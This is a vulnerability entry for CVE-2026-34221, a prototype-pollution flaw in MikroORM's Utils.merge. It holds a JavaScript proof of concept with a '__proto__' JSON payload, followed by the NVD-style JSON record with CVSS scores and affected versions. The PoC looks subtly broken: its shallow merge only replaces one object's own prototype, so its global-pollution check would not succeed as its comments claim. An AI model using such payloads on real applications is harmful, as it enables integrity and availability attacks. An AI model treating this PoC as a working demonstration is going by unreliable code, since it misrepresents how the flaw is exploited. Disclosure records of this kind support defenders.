CVE-2026-34221

// Proof of Concept for CVE-2026-34221 // This demonstrates how a malicious payload can pollute the prototype // using the vulnerable Utils.merge function in MikroORM. // Simulating the vulnerable Utils.merge behavior function vulnerableMerge(target, source) { for (const key in source) { if (source.hasOwnProperty(key)) { target[key] = source[key]; } } return target; } // 1. Create a safe object const safeObject = {}; // 2. Create a malicious payload targeting the prototype // The payload contains the __proto__ key const maliciousPayload = JSON.parse('{"__proto__": {"polluted": true}}'); // 3. Perform the merge operation (Vulnerable Action) console.log("[+] Merging malicious payload into object..."); vulnerableMerge(safeObject, maliciousPayload); // 4. Verify the pollution // If the pollution is successful, empty objects will now have the 'polluted' property const checkObject = {}; if (checkObject.polluted === true) { console.log("[!] SUCCESS: Prototype pollution detected!"); console.log(" Empty object property 'polluted':", checkObject.polluted); } else { console.log("[-] FAILED: No pollution detected."); }

{"cve": {"id": "CVE-2026-34221", "sourceIdentifier": "[email protected]", "published": "2026-03-31T16:16:32.293", "lastModified": "2026-04-03T15:13:26.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MikroORM is a TypeScript ORM for Node.js based on Data Mapper, Unit of Work and Identity Map patterns. Prior to versions 6.6.10 and 7.0.6, a prototype pollution vulnerability exists in the Utils.merge helper used internally by MikroORM when merging object structures. The function did not prevent special keys such as __proto__, constructor, or prototype, allowing attacker-controlled input to modify the JavaScript object prototype when merged. This issue has been patched in versions 6.6.10 and 7.0.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mikro-orm:mikroorm:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "6.6.10", "matchCriteriaId": "0FEF8C0C-0A0A-4580-B601-D588C9E81FB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mikro-orm:mikroorm:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.6", "matchCriteriaId": "BC38F0C3-2043-4A5D-9FFF-CA1F7E295BD3"}]}]}], "references": [{"url": "https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-qpfv-44f3-qqx6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}